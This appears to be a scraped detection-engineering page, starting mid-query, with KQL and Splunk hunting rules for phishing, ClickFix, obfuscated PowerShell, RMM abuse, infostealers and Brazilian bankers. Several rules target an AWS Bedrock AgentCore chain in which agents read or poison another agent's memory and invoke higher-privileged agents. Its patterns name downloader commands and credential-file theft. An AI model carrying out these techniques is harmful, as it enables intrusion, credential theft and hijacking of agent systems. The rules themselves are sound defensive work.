Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
[LLM] AgentCore SDK auto-create runtime role pulling ECR images (cross-account image exfil)Actions on ObjectivesHigh
Hunts the ECR exfiltration stage of the 'Agent God Mode' chain: a Bedrock AgentCore SDK auto-created execution role (AmazonBedrockAgentCoreSDKRuntime-*) calling ecr:GetAuthorizationToken followed by ecr:BatchGetImage / ecr:GetDownloadUrlForLayer against an ECR repository. Legitimate runtime workloads pull only their own image at startup, so the same auto-create role touching multiple repos — or any BatchGetImage from a non-Fargate egress IP — is a high-fidelity exfil signal.
Rationale: The article explicitly identifies the toolkit's auto-create role (confirmed by AWS docs as 'AmazonBedrockAgentCoreSDKRuntime-{region}-{hash}') and the wildcard ECR resource arn:aws:ecr:*:repository/*. Pulling images from more than one repo, or enumerating repos, is exactly the exfil step described in Figures 7-9 and is not behaviour a normal AgentCore runtime container exhibits at runtime.
Cross-checked against:
• https://aws.github.io/bedrock-agentcore-starter-toolkit/user-guide/runtime/permissions.html
• https://github.com/aws/bedrock-agentcore-starter-toolkit/blob/main/documentation/docs/user-guide/runtime/permissions.md
ATT&CKT1530T1213.003T1078.004
Data sourcesChange.All_Changes
CloudAppEvents
| where Application has "Amazon Web Services" or ApplicationId == 11161
| where ActionType in ("GetAuthorizationToken","BatchGetImage","GetDownloadUrlForLayer","DescribeRepositories","ListImages")
| extend Raw = todynamic(RawEventData)
| extend SessionRole = tostring(Raw.userIdentity.sessionContext.sessionIssuer.userName)
| where SessionRole startswith "AmazonBedrockAgentCoreSDKRuntime-"
| extend TargetRepo = extract(@"repository/([A-Za-z0-9._/-]+)", 1, tostring(Raw.requestParameters))
| summarize Commands=make_set(ActionType), Repos=make_set(TargetRepo), DistinctRepos=dcount(TargetRepo), FirstSeen=min(Timestamp), LastSeen=max(Timestamp) by SessionRole, IPAddress, AccountObjectId
| where Commands has_any ("BatchGetImage","GetDownloadUrlForLayer") and (DistinctRepos > 1 or Commands has "DescribeRepositories")
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Changes.command) as commands values(All_Changes.object) as ecr_targets values(All_Changes.src) as src_ips from datamodel=Change where (All_Changes.vendor_product="AWS CloudTrail" OR sourcetype="aws:cloudtrail") All_Changes.user="AmazonBedrockAgentCoreSDKRuntime-*" All_Changes.command IN ("GetAuthorizationToken","BatchGetImage","GetDownloadUrlForLayer","DescribeRepositories","ListImages") by All_Changes.user All_Changes.vendor_account span=1h
| `drop_dm_object_name(All_Changes)`
| rex field=ecr_targets max_match=0 "repository/(?<repo_names>[^\"\s,]+)"
| eval distinct_repos=mvcount(mvdedup(repo_names))
| where (mvfind(commands,"BatchGetImage")>=0 OR mvfind(commands,"GetDownloadUrlForLayer")>=0) AND (distinct_repos>1 OR mvfind(commands,"DescribeRepositories")>=0)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] AgentCore execution role reading memory resources of another agentActions on ObjectivesHigh
Detects the cross-agent memory hijack stage: an AgentCore SDK auto-created role calling bedrock-agentcore data-plane memory APIs (GetMemoryRecord, RetrieveMemoryRecords, ListMemoryRecords, ListSessions, ListEvents) against a memoryId that differs from the agent's own. The default policy grants these on arn:aws:bedrock-agentcore:*:memory/*, so any access to >1 distinct memoryId from a single execution role is the cross-tenant read described in the article.
Rationale: The article shows the wildcard memory policy (arn:aws:bedrock-agentcore:*:memory/*) and the ori_agent_01_mem-AsDiQiDikR memoryId pattern (<agent>_mem-<10char>). A single auto-create runtime role legitimately interacts with one memoryId; touching multiple distinct ones — or enumerating them — is the cross-agent state read/poison that the kill chain depends on.
Cross-checked against:
• https://docs.aws.amazon.com/bedrock-agentcore/latest/APIReference/API_RetrieveMemoryRecords.html
• https://aws.github.io/bedrock-agentcore-starter-toolkit/user-guide/runtime/permissions.html
ATT&CKT1213T1530T1098.003
Data sourcesChange.All_Changes
CloudAppEvents
| where Application has "Amazon Web Services" or ApplicationId == 11161
| where ActionType in ("GetMemoryRecord","RetrieveMemoryRecords","ListMemoryRecords","ListSessions","ListEvents","ListActors","GetEvent")
| extend Raw = todynamic(RawEventData)
| extend SessionRole = tostring(Raw.userIdentity.sessionContext.sessionIssuer.userName)
| where SessionRole startswith "AmazonBedrockAgentCoreSDKRuntime-"
| extend MemoryId = coalesce(tostring(Raw.requestParameters.memoryId), extract(@"memory/([A-Za-z0-9_-]+)", 1, tostring(Raw.requestParameters)))
| summarize Commands=make_set(ActionType), Memories=make_set(MemoryId), DistinctMemories=dcount(MemoryId), FirstSeen=min(Timestamp), LastSeen=max(Timestamp) by SessionRole, IPAddress, AccountObjectId
| where DistinctMemories > 1 or Commands has "ListMemoryRecords"
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Changes.command) as commands values(All_Changes.object) as memory_arns from datamodel=Change where (All_Changes.vendor_product="AWS CloudTrail" OR sourcetype="aws:cloudtrail") All_Changes.user="AmazonBedrockAgentCoreSDKRuntime-*" All_Changes.command IN ("GetMemoryRecord","RetrieveMemoryRecords","ListMemoryRecords","ListSessions","ListEvents","ListActors","GetEvent") by All_Changes.user All_Changes.src All_Changes.vendor_account span=1h
| `drop_dm_object_name(All_Changes)`
| rex field=memory_arns max_match=0 "memory/(?<memory_ids>[A-Za-z0-9_-]+)"
| eval distinct_memories=mvcount(mvdedup(memory_ids))
| where distinct_memories>1 OR mvfind(commands,"ListMemoryRecords")>=0
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] AgentCore SDK runtime role invoking a foreign Bedrock AgentCore runtimeActions on ObjectivesMedium
Hunts the indirect privilege-escalation pivot where an agent uses its InvokeAgentRuntime permission on arn:aws:bedrock-agentcore:*:runtime/* to trigger a different (often higher-privileged) agent. Any time an auto-created AmazonBedrockAgentCoreSDKRuntime-* role calls bedrock-agentcore:InvokeAgentRuntime against a runtime ARN whose name does not embed its own agent identifier, treat it as cross-agent invocation.
Rationale: The article calls out that InvokeAgentRuntime and InvokeCodeInterpreter are granted on '*' and that this lets a low-privileged agent call a higher-privileged one (Figure 11). Enumeration of available runtimes/interpreters or cross-runtime invocation by an auto-create role is exactly the indirect-privesc primitive — and AWS CloudTrail records eventName=InvokeAgentRuntime / InvokeCodeInterpreter natively.
Cross-checked against:
• https://docs.aws.amazon.com/bedrock-agentcore/latest/APIReference/API_InvokeAgentRuntime.html
• https://aws.github.io/bedrock-agentcore-starter-toolkit/user-guide/runtime/permissions.html
ATT&CKT1078.004T1548T1059
Data sourcesChange.All_Changes
CloudAppEvents
| where Application has "Amazon Web Services" or ApplicationId == 11161
| where ActionType in ("InvokeAgentRuntime","InvokeCodeInterpreter","StartCodeInterpreterSession","ListAgentRuntimes","ListCodeInterpreters")
| extend Raw = todynamic(RawEventData)
| extend SessionRole = tostring(Raw.userIdentity.sessionContext.sessionIssuer.userName)
| where SessionRole startswith "AmazonBedrockAgentCoreSDKRuntime-"
| extend TargetRuntime = coalesce(tostring(Raw.requestParameters.agentRuntimeArn), tostring(Raw.requestParameters.codeInterpreterIdentifier), extract(@"runtime/([A-Za-z0-9_-]+)", 1, tostring(Raw.requestParameters)))
| summarize Commands=make_set(ActionType), Targets=make_set(TargetRuntime), DistinctTargets=dcount(TargetRuntime), FirstSeen=min(Timestamp), LastSeen=max(Timestamp) by SessionRole, IPAddress, AccountObjectId
| where DistinctTargets >= 1 or Commands has_any ("ListAgentRuntimes","ListCodeInterpreters")
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Changes.object) as runtime_arns values(All_Changes.src) as src_ips from datamodel=Change where (All_Changes.vendor_product="AWS CloudTrail" OR sourcetype="aws:cloudtrail") All_Changes.user="AmazonBedrockAgentCoreSDKRuntime-*" All_Changes.command IN ("InvokeAgentRuntime","InvokeCodeInterpreter","StartCodeInterpreterSession","ListAgentRuntimes","ListCodeInterpreters") by All_Changes.user All_Changes.command All_Changes.vendor_account span=1h
| `drop_dm_object_name(All_Changes)`
| rex field=user "AmazonBedrockAgentCoreSDKRuntime-(?<role_region>[^-]+)-(?<role_hash>[a-z0-9]{10})"
| rex field=runtime_arns max_match=0 "runtime/(?<target_runtime>[A-Za-z0-9_-]+)"
| eval distinct_targets=mvcount(mvdedup(target_runtime))
| where (command="InvokeAgentRuntime" AND distinct_targets>=1) OR command IN ("ListAgentRuntimes","ListCodeInterpreters")
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-087 use cases4 techniques4 kill-chain phases detected
In this report, Kaspersky experts share their insights into the 2025 financial threat landscape, including regional statistics and trends in phishing, PC malware, and infostealers.
ATT&CKT1190T1204.002T1555.003T1566
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] Maverick banker: WhatsApp-Web-delivered LNK launching fileless PowerShell/.NET chain
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → [LLM] Pure family (PureCrypter/PureRAT) delivered via accounting-themed attachments targeting EDM/invoice fraud
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Hunts the Maverick (Coyote-related) Brazilian banker infection chain documented in the Q4 2025 surge: a ZIP+LNK arrives via WhatsApp Web download, Explorer launches the LNK which spawns hidden PowerShell that reflectively loads .NET / Donut shellcode entirely in memory. Article-specific because it pivots on WhatsApp-origin LNK drop + Brazilian-locale checks rather than generic encoded PowerShell.
Rationale: Pivots on three article-specific signals: (1) LNK/ZIP drops by WhatsApp/browser processes — Maverick's exclusive delivery vector since LNKs aren't filtered by WhatsApp; (2) Explorer-spawned PowerShell with reflective .NET / Donut indicators — Maverick's documented in-memory loader; (3) Brazil-locale strings ('pt-BR', 'E. South America Standard Time') the malware itself queries. Cross-checked Securelist's dedicated Maverick write-up, Trend Micro (SORVEPOTEL), Sophos and BlueVoyant, all confirming the WhatsApp->LNK->fileless PowerShell chain and Brazilian geofence.
Cross-checked against:
• https://securelist.com/maverick-banker-distributing-via-whatsapp/117715/
• https://www.trendmicro.com/en_us/research/25/j/self-propagating-malware-spreads-via-whatsapp.html
• https://www.sophos.com/en-us/blog/whatsapp-worm-targets-brazilian-banking-customers
• https://thehackernews.com/2025/11/whatsapp-malware-maverick-hijacks.html
• https://www.bluevoyant.com/blog/advanced-banking-trojan-maverick-uses-whatsapp-to-prey-on-brazilian-users
let dropWindow = 30m;
let whatsappDrop = DeviceFileEvents
| where Timestamp > ago(14d)
| where ActionType in ("FileCreated","FileRenamed")
| where FolderPath has_any (@"\Downloads\", @"\WhatsApp", @"\AppData\Local\Temp\")
| where FileName endswith ".lnk" or FileName endswith ".zip"
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","brave.exe","firefox.exe","whatsapp.exe")
| project DropTime=Timestamp, DeviceId, DeviceName, DroppedFile=FileName, DropPath=FolderPath, DropParent=InitiatingProcessFileName;
let filelessChain = DeviceProcessEvents
| where Timestamp > ago(14d)
| where InitiatingProcessFileName =~ "explorer.exe"
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine has_any ("-nop","-w hidden","-WindowStyle Hidden","FromBase64String","Reflection.Assembly","Invoke-Expression","[Activator]::CreateInstance","GetCurrentTimeZone","E. South America Standard Time","pt-BR","DonutLoader")
| project ExecTime=Timestamp, DeviceId, ProcessCommandLine, InitiatingProcessCommandLine;
whatsappDrop
| join kind=inner filelessChain on DeviceId
| where ExecTime between (DropTime .. DropTime + dropWindow)
| project DropTime, ExecTime, DeviceName, DroppedFile, DropPath, DropParent, ProcessCommandLine, InitiatingProcessCommandLine
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.action=created AND (Filesystem.file_path="*\\Downloads\\*" OR Filesystem.file_path="*\\WhatsApp*" OR Filesystem.file_path="*\\AppData\\Local\\Temp\\*") AND (Filesystem.file_name="*.lnk" OR Filesystem.file_name="*.zip") AND (Filesystem.process_name IN ("chrome.exe","msedge.exe","brave.exe","firefox.exe","WhatsApp.exe","Whatsapp.exe")) by Filesystem.dest Filesystem.user Filesystem.file_name Filesystem.file_path Filesystem.process_name | `drop_dm_object_name(Filesystem)` | rename file_name as drop_file, file_path as drop_path | join type=inner dest [ | tstats summariesonly=true count from datamodel=Endpoint.Processes where Processes.parent_process_name="explorer.exe" AND Processes.process_name IN ("powershell.exe","pwsh.exe","conhost.exe") AND (Processes.process="*-nop*" OR Processes.process="*-w*hidden*" OR Processes.process="*-WindowStyle*Hidden*" OR Processes.process="*FromBase64String*" OR Processes.process="*Reflection.Assembly*" OR Processes.process="*Invoke-Expression*" OR Processes.process="*[Activator]::CreateInstance*" OR Processes.process="*GetCurrentTimeZone*" OR Processes.process="*pt-BR*" OR Processes.process="*E. South America Standard Time*") by Processes.dest Processes.user Processes.process Processes.parent_process Processes.parent_process_name | `drop_dm_object_name(Processes)` ] | where firstTime>0 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Pure family (PureCrypter/PureRAT) delivered via accounting-themed attachments targeting EDM/invoice fraudInstallationMedium
Hunts the 2025 Pure Trojan campaign that targets corporate EDM/invoice workflows: malspam with accounting-keyword filenames (fatura, boleto, NFe, nota fiscal, recibo, comprovante, orçamento, invoice) drops a .NET PureCrypter loader from Outlook attachment cache or archive extraction, which then injects subsequent payloads. Article-specific because the lure naming and the EDM-fraud objective are exactly what Kaspersky describes for Pure (896k detections / 64k corporate users in 2025).
